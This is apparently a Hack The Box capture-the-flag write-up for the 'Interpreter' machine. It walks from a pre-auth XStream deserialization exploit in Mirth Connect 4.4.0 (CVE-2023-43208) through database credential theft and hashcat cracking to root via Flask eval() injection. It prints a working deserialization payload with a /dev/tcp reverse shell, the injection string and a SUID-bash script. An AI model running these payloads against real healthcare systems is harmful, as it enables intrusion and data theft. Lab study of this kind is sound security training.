HTB Interpreter — Mirth Connect RCE to Root via Flask eval() Injection
A Medium-rated Linux machine featuring Mirth Connect 4.4.0 — a healthcare integration platform. The attack chain: exploit a pre-authentication XStream deserialization RCE (CVE-2023-43208), extract database credentials from the Mirth config, crack a PBKDF2 hash to pivot to a user account, then escalate to root by injecting Python code into a Flask service that passes database content to eval().
Enumeration#
Port Scan#
22/tcp — OpenSSH 9.2p1 Debian
80/tcp — Jetty (Mirth Connect Administrator)
443/tcp — Jetty (HTTPS)
6661/tcp — unknown
Port 80/443 serves the Mirth Connect Administrator interface — a healthcare integration engine used for HL7/FHIR message routing.
Version Fingerprint#
curl -sk https://interpreter.htb/api/server/version \
-H 'X-Requested-With: XMLHttpRequest'
# 4.4.0
Version 4.4.0 is vulnerable to CVE-2023-43208 — a pre-auth RCE via XStream deserialization.
User Flag#
Step 1 — Unauthenticated RCE via CVE-2023-43208#
CVE-2023-43208 exploits an XStream deserialization vulnerability in POST /api/users. The server deserializes XML before checking authentication, allowing any unauthenticated attacker to execute arbitrary commands.
The payload uses XStream’s ProcessBuilder gadget chain:
POST /api/users HTTP/1.1
Host: interpreter.htb
Content-Type: application/xml
X-Requested-With: XMLHttpRequest
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/LHOST/9001 0>&1</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
This drops a reverse shell as the mirth service user.
Step 2 — Database Credential Extraction#
Mirth Connect stores its configuration in /opt/mirth-connect/conf/mirth.properties with database credentials in plaintext:
database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
database.username = mirthdb
database.password = MirthPass123!
Connecting to MariaDB and dumping the user table reveals a PBKDF2-HMAC-SHA256 hash for user sedric with 600,000 iterations.
Step 3 — Hash Cracking & SSH#
hashcat -m 10900 sedric.hash rockyou.txt
# sedric:snowflake1
600K PBKDF2 iterations is slow, but snowflake1 is common enough for rockyou to catch it.
ssh sedric@interpreter.htb
# Password: snowflake1
cat user.txt
Root Flag#
Enumeration#
sedric@interpreter:~$ ss -tlnp
# 127.0.0.1:54321 — local service
sedric@interpreter:~$ ps aux | grep root
# root ... /usr/local/bin/notif.py
A Flask application runs as root on 127.0.0.1:54321. It reads notification preferences from the database and renders them with:
template = row['firstname'] # user-controlled via DB
result = eval(f"f'''{template}'''")
There’s a regex filter on the firstname field: [a-zA-Z0-9._'"(){}=+/]. This blocks semicolons, spaces, commas, and shell metacharacters — but not Python’s import syntax.
Flask eval() Code Injection#
The charset {}()'".=+/ is all you need for a Python expression. The trick is avoiding commas (can’t pass multiple args) — instead, call a script with a single argument.
Create a SUID payload:
echo '#!/bin/bash
cp /bin/bash /tmp/pwn
chmod u+s /tmp/pwn' > /tmp/pwn.sh
chmod +x /tmp/pwn.sh
Inject via the database:
UPDATE PERSON SET FIRSTNAME='{__import__("os").system("/tmp/pwn.sh")}'
WHERE USERNAME='sedric';
Trigger it:
curl http://127.0.0.1:54321/notify
/tmp/pwn -p
The Flask app reads sedric’s firstname, feeds it to eval(f"f'''{template}'''"), which executes __import__('os').system('/tmp/pwn.sh') — creating a SUID copy of bash.
Attack Chain#
Mirth Connect 4.4.0 (Jetty on 80/443)
│
▼
CVE-2023-43208: XStream deserialization → RCE as mirth
│
▼
mirth.properties → MariaDB creds (mirthdb:MirthPass123!)
│
▼
PERSON_PASSWORD table → PBKDF2-HMAC-SHA256 (600K iterations)
│
▼
hashcat: sedric = snowflake1 → SSH as sedric
│
▼
Root Flask service with eval(f"f'''{template}'''")
│
▼
Regex bypass: {__import__('os').system('/tmp/pwn.sh')} → SUID bash → root
Takeaways#
CVE-2023-43208 is a well-documented pre-auth RCE in Mirth Connect, widely used in healthcare. If you see Jetty on a healthcare target, check the version via
/api/server/version. The fix is upgrading to 4.4.1+.PBKDF2 with high iteration counts is designed to be slow — but if the password is in rockyou, it still falls. Strong hashing needs strong passwords.
eval()on database content is a classic code injection pattern. The regex filter creates a false sense of security —__import__()fits comfortably within[a-zA-Z0-9._'"(){}=+/]. Never useeval()on user-controllable data.Internal services running as root are high-value privesc targets. Always check
ss -tlnpandps auxfor local-only services after getting a user shell.